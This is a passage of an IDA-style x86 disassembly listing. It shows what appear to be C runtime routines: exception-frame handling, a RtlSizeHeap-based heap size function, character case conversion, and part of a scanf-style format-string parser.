		push	dword ptr [ebx+18h]
		call	sub_41BFF6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B2F
		push	1
		push	edi
		call	sub_41C012
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B2F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_414520
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_418B34
		mov	eax, [edi]
		test	eax, eax
		jz	loc_418B34
		add	esi, 8
		push	esi
		jmp	short loc_418A1D
; ---------------------------------------------------------------------------


loc_418A86:				; CODE XREF: sub_41898F+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_418ACE
		call	sub_41BFF6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_418B2F
		push	1
		push	edi
		call	sub_41C012
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B2F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_418BBA
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_414520
		add	esp, 0Ch
		jmp	short loc_418B34
; ---------------------------------------------------------------------------


loc_418ACE:				; CODE XREF: sub_41898F+103j
		call	sub_41BFF6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B2F
		push	1
		push	edi
		call	sub_41C012
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_418B2F
		push	dword ptr [esi+18h]
		call	sub_41C02E
		pop	ecx
		test	eax, eax
		jz	short loc_418B2F
		test	byte ptr [esi],	4
		jz	short loc_418B15
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_418BBA
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_414155
		jmp	short loc_418B34
; ---------------------------------------------------------------------------


loc_418B15:				; CODE XREF: sub_41898F+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_418BBA
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41414E
		jmp	short loc_418B34
; ---------------------------------------------------------------------------


loc_418B2F:				; CODE XREF: sub_41898F+6Aj
					; sub_41898F+7Cj ...
		call	sub_418C82


loc_418B34:				; CODE XREF: sub_41898F+98j
					; sub_41898F+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_418B38:				; CODE XREF: sub_41898F+2Ej
					; sub_41898F+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41898F	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_418C2C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B53	proc near		; CODE XREF: sub_41847E+170p
					; sub_41891F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F828
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_418B9A
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_418B9A
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41414E
		or	[ebp+var_4], 0FFFFFFFFh


loc_418B9A:				; CODE XREF: sub_418B53+2Aj
					; sub_418B53+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B53	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_418C2C

; =============== S U B	R O U T	I N E =======================================



sub_418BBA	proc near		; CODE XREF: sub_41898F+8Fp
					; sub_41898F+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_418BDB
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_418BDB:				; CODE XREF: sub_418BBA+12j
		pop	esi
		retn
sub_418BBA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BE0	proc near		; CODE XREF: sub_4141E1+40p
					; sub_41872A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_4144CD
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_418C1F
		mov	ecx, 2


loc_418C1F:				; CODE XREF: sub_418BE0+38j
		push	ecx
		call	sub_4144CD
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_418BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C2C	proc near		; CODE XREF: sub_41847E:loc_418620j
					; sub_4187C8:loc_4187D9j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041C046 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F838
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_45E888
		test	eax, eax
		jz	short loc_418C74
		mov	[ebp+var_4], 1
		call	eax ; dword_45E888
		jmp	short loc_418C70
; ---------------------------------------------------------------------------


loc_418C69:				; DATA XREF: seg001:0041F848o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418C6D:				; DATA XREF: seg001:0041F84Co
		mov	esp, [ebp+var_18]


loc_418C70:				; CODE XREF: sub_418C2C+3Bj
		and	[ebp+var_4], 0


loc_418C74:				; CODE XREF: sub_418C2C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_418C7D:				; DATA XREF: seg001:0041F840o
		jmp	loc_41C046
sub_418C2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C82	proc near		; CODE XREF: sub_414383+23p
					; sub_414383:loc_4143EEp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F850
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_42D454
		test	eax, eax
		jz	short loc_418CCA
		mov	[ebp+var_4], 1
		call	eax ; sub_418C2C
		jmp	short loc_418CC6
; ---------------------------------------------------------------------------


loc_418CBF:				; DATA XREF: seg001:0041F860o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_418CC6:				; CODE XREF: sub_418C82+3Bj
		and	[ebp+var_4], 0


loc_418CCA:				; CODE XREF: sub_418C82+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_418CD3:				; DATA XREF: seg001:0041F858o
		jmp	sub_418C2C
sub_418C82	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CD8	proc near		; CODE XREF: sub_414863+7p
					; sub_414863+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_416B8D
		test	eax, eax
		pop	ecx
		jz	short loc_418CF0
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_418CF0:				; CODE XREF: sub_418CD8+Ej
		push	esi
		push	0
		push	ds:dword_45FE60
		call	ds:dword_41F17C	; RtlSizeHeap
		pop	esi
		retn
sub_418CD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D01	proc near		; CODE XREF: sub_414911+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_45E898, 0
		push	ebx
		jnz	short loc_418D2C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_418DCA
		cmp	eax, 7Ah
		jg	loc_418DCA
		sub	eax, 20h
		jmp	loc_418DCA
; ---------------------------------------------------------------------------


loc_418D2C:				; CODE XREF: sub_418D01+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_418D5F
		cmp	ds:dword_42D2FC, 1
		jle	short loc_418D4C
		push	2
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_418D57
; ---------------------------------------------------------------------------


loc_418D4C:				; CODE XREF: sub_418D01+3Dj
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_418D57:				; CODE XREF: sub_418D01+49j
		test	eax, eax
		jnz	short loc_418D5F


loc_418D5B:				; CODE XREF: sub_418D01+AFj
		mov	eax, ebx
		jmp	short loc_418DCA
; ---------------------------------------------------------------------------


loc_418D5F:				; CODE XREF: sub_418D01+34j
					; sub_418D01+58j
		mov	edx, ds:off_42D0F0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_418D82
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_418D8B
; ---------------------------------------------------------------------------


loc_418D82:				; CODE XREF: sub_418D01+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_418D8B:				; CODE XREF: sub_418D01+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_45E898
		call	loc_419E01
		add	esp, 20h
		test	eax, eax
		jz	short loc_418D5B
		cmp	eax, 1
		jnz	short loc_418DBD
		movzx	eax, [ebp+var_4]
		jmp	short loc_418DCA
; ---------------------------------------------------------------------------


loc_418DBD:				; CODE XREF: sub_418D01+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_418DCA:				; CODE XREF: sub_418D01+14j
					; sub_418D01+1Dj ...
		pop	ebx
		leave
		retn
sub_418D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DCD	proc near		; CODE XREF: sub_414B30+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4197D3
		mov	edi, [ebp+arg_0]
		jmp	short loc_418DFC
; ---------------------------------------------------------------------------


loc_418DF7:				; CODE XREF: sub_418DCD+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_418DFC:				; CODE XREF: sub_418DCD+28j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_418E14
		movzx	eax, al
		push	8
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_418E23
; ---------------------------------------------------------------------------


loc_418E14:				; CODE XREF: sub_418DCD+36j
		mov	ecx, ds:off_42D0F0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_418E23:				; CODE XREF: sub_418DCD+45j
		cmp	eax, ebx
		jz	short loc_418E5D
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41985A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_419843
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41C125
		add	esp, 0Ch


loc_418E4B:				; CODE XREF: sub_418DCD+8Ej
		test	eax, eax
		jz	short loc_418E5D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41C125
		pop	ecx
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------


loc_418E5D:				; CODE XREF: sub_418DCD+58j
					; sub_418DCD+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41973F
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_418E94:				; CODE XREF: sub_418DCD+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	ds:dword_42D2FC, 1
		jle	short loc_418EB1
		movzx	eax, bl
		push	4
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_418EC0
; ---------------------------------------------------------------------------


loc_418EB1:				; CODE XREF: sub_418DCD+D3j
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_418EC0:				; CODE XREF: sub_418DCD+E2j
		test	eax, eax
		jz	short loc_418ED6
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418ED6:				; CODE XREF: sub_418DCD+F5j
		cmp	ebx, 4Eh
		jg	short loc_418F19
		jz	short loc_418F3B
		cmp	ebx, 2Ah
		jz	short loc_418F14
		cmp	ebx, 46h
		jz	short loc_418F3B
		cmp	ebx, 49h
		jz	short loc_418EF6
		cmp	ebx, 4Ch
		jnz	short loc_418F28
		inc	[ebp+var_D]
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418EF6:				; CODE XREF: sub_418DCD+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_418F28
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_418F28
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418F14:				; CODE XREF: sub_418DCD+113j
		inc	[ebp+var_E]
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418F19:				; CODE XREF: sub_418DCD+10Cj
		cmp	ebx, 68h
		jz	short loc_418F35
		cmp	ebx, 6Ch
		jz	short loc_418F2D
		cmp	ebx, 77h
		jz	short loc_418F30


loc_418F28:				; CODE XREF: sub_418DCD+122j
					; sub_418DCD+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418F2D:				; CODE XREF: sub_418DCD+154j
		inc	[ebp+var_D]


loc_418F30:				; CODE XREF: sub_418DCD+159j
		inc	[ebp+var_5]
		jmp	short loc_418F3B
; ---------------------------------------------------------------------------


loc_418F35:				; CODE XREF: sub_418DCD+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_418F3B:				; CODE XREF: sub_418DCD+107j
					; sub_418DCD+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_418E94
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_418F60
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_418F60:				; CODE XREF: sub_418DCD+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_418F7E
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_418F7A
		cmp	al, 43h
		jz	short loc_418F7A
		or	[ebp+var_5], 0FFh
		jmp	short loc_418F7E
; ---------------------------------------------------------------------------


loc_418F7A:				; CODE XREF: sub_418DCD+1A1j
					; sub_418DCD+1A5j
		mov	[ebp+var_5], 1


loc_418F7E:				; CODE XREF: sub_418DCD+19Bj
					; sub_418DCD+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_418FB7
		cmp	esi, 63h
		jz	short loc_418FA8
		cmp	esi, 7Bh
		jz	short loc_418FA8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41985A
		pop	ecx
		jmp	short loc_418FB3
; ---------------------------------------------------------------------------


loc_418FA8:				; CODE XREF: sub_418DCD+1C5j
					; sub_418DCD+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829


loc_418FB3:				; CODE XREF: sub_418DCD+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_418FB7:				; CODE XREF: sub_418DCD+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_418FC7
		cmp	[ebp+var_C], eax
		jz	loc_4197A3


loc_418FC7:				; CODE XREF: sub_418DCD+1EFj
		cmp	esi, 6Fh
		jg	loc_41922E
		jz	loc_4194E0
		cmp	esi, 63h
		jz	loc_41920B
		cmp	esi, 64h
		jz	loc_4194E0
		jle	loc_419258
		cmp	esi, 67h
		jle	short loc_41902B
		cmp	esi, 69h
		jz	short loc_419013
		cmp	esi, 6Eh
		jnz	loc_419258
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41970E
		jmp	loc_419734
; ---------------------------------------------------------------------------


loc_419013:				; CODE XREF: sub_418DCD+229j
		push	64h
		pop	esi


loc_419016:				; CODE XREF: sub_418DCD+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4192A0
		mov	[ebp+var_17], 1
		jmp	loc_4192A5
; ---------------------------------------------------------------------------


loc_41902B:				; CODE XREF: sub_418DCD+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_419047
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41904C
; ---------------------------------------------------------------------------


loc_419047:				; CODE XREF: sub_418DCD+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_419063


loc_41904C:				; CODE XREF: sub_418DCD+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_419066
; ---------------------------------------------------------------------------


loc_419063:				; CODE XREF: sub_418DCD+27Dj
		mov	edi, [ebp+arg_0]


loc_419066:				; CODE XREF: sub_418DCD+294j
		cmp	[ebp+var_20], 0
		jz	short loc_419075
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41907C


loc_419075:				; CODE XREF: sub_418DCD+29Dj
		mov	[ebp+var_C], 15Dh


loc_41907C:				; CODE XREF: sub_418DCD+2A6j
					; sub_418DCD+2F2j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_419091
		push	4
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41909C
; ---------------------------------------------------------------------------


loc_419091:				; CODE XREF: sub_418DCD+2B6j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41909C:				; CODE XREF: sub_418DCD+2C2j
		test	eax, eax
		jz	short loc_4190C1
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4190C1
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41907C
; ---------------------------------------------------------------------------


loc_4190C1:				; CODE XREF: sub_418DCD+2D1j
					; sub_418DCD+2DBj
		cmp	ds:byte_42D300,	bl
		jnz	short loc_41912F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41912F
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		mov	al, ds:byte_42D300
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4190EA:				; CODE XREF: sub_418DCD+360j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_4190FF
		push	4
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_41910A
; ---------------------------------------------------------------------------


loc_4190FF:				; CODE XREF: sub_418DCD+324j
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41910A:				; CODE XREF: sub_418DCD+330j
		test	eax, eax
		jz	short loc_41912F
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41912F
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4190EA
; ---------------------------------------------------------------------------


loc_41912F:				; CODE XREF: sub_418DCD+2FAj
					; sub_418DCD+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4191C7
		cmp	ebx, 65h
		jz	short loc_419147
		cmp	ebx, 45h
		jnz	loc_4191C7


loc_419147:				; CODE XREF: sub_418DCD+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4191C7
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41916E
		mov	[esi], al
		inc	esi
		jmp	short loc_419173
; ---------------------------------------------------------------------------


loc_41916E:				; CODE XREF: sub_418DCD+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_419191


loc_419173:				; CODE XREF: sub_418DCD+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_419182
		and	[ebp+var_C], eax
		jmp	short loc_419191
; ---------------------------------------------------------------------------


loc_419182:				; CODE XREF: sub_418DCD+3AEj
					; sub_418DCD+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_419191:				; CODE XREF: sub_418DCD+3A4j
					; sub_418DCD+3B3j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_4191A6
		push	4
		push	ebx
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_4191B1
; ---------------------------------------------------------------------------


loc_4191A6:				; CODE XREF: sub_418DCD+3CBj
		mov	eax, ds:off_42D0F0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4191B1:				; CODE XREF: sub_418DCD+3D7j
		test	eax, eax
		jz	short loc_4191C7
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4191C7
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_419182
; ---------------------------------------------------------------------------


loc_4191C7:				; CODE XREF: sub_418DCD+366j
					; sub_418DCD+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_419843
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4197D3
		cmp	[ebp+var_E], 0
		jnz	loc_419734
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	ds:off_42D430
		add	esp, 0Ch
		jmp	loc_419734
; ---------------------------------------------------------------------------


loc_41920B:				; CODE XREF: sub_418DCD+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41921A
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41921A:				; CODE XREF: sub_418DCD+441j
		cmp	[ebp+var_5], 0
		jle	short loc_419224
		mov	[ebp+var_16], 1


loc_419224:				; CODE XREF: sub_418DCD+451j
		mov	edi, offset dword_42D460
		jmp	loc_419339
; ---------------------------------------------------------------------------


loc_41922E:				; CODE XREF: sub_418DCD+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4194DC
		sub	eax, 3
		jz	loc_41932A
		dec	eax
		dec	eax
		jz	loc_4194E0
		sub	eax, 3
		jz	loc_419016
		sub	eax, 3
		jz	short loc_41927C


loc_419258:				; CODE XREF: sub_418DCD+21Bj
					; sub_418DCD+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_4197A3
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_419734
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_419734
; ---------------------------------------------------------------------------


loc_41927C:				; CODE XREF: sub_418DCD+489j
		cmp	[ebp+var_5], 0
		jle	short loc_419286
		mov	[ebp+var_16], 1


loc_419286:				; CODE XREF: sub_418DCD+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41933D
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_419339
; ---------------------------------------------------------------------------


loc_4192A0:				; CODE XREF: sub_418DCD+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4192C7


loc_4192A5:				; CODE XREF: sub_418DCD+259j
		dec	[ebp+var_C]
		jnz	short loc_4192B6
		cmp	[ebp+var_20], 0
		jz	short loc_4192B6
		mov	[ebp+var_F], 1
		jmp	short loc_4192C7
; ---------------------------------------------------------------------------


loc_4192B6:				; CODE XREF: sub_418DCD+4DBj
					; sub_418DCD+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4192C7:				; CODE XREF: sub_418DCD+4D6j
					; sub_418DCD+4E7j
		cmp	ebx, 30h
		jnz	loc_419515
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_419315
		cmp	bl, 58h
		jz	short loc_419315
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4192FF
		push	6Fh


loc_4192F9:				; CODE XREF: sub_418DCD+55Bj
		pop	esi
		jmp	loc_419515
; ---------------------------------------------------------------------------


loc_4192FF:				; CODE XREF: sub_418DCD+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_419843
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_419512
; ---------------------------------------------------------------------------


loc_419315:				; CODE XREF: sub_418DCD+517j
					; sub_418DCD+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_419829
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4192F9
; ---------------------------------------------------------------------------


loc_41932A:				; CODE XREF: sub_418DCD+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_419334
		mov	[ebp+var_16], 1


loc_419334:				; CODE XREF: sub_418DCD+561j
		mov	edi, offset dword_42D458


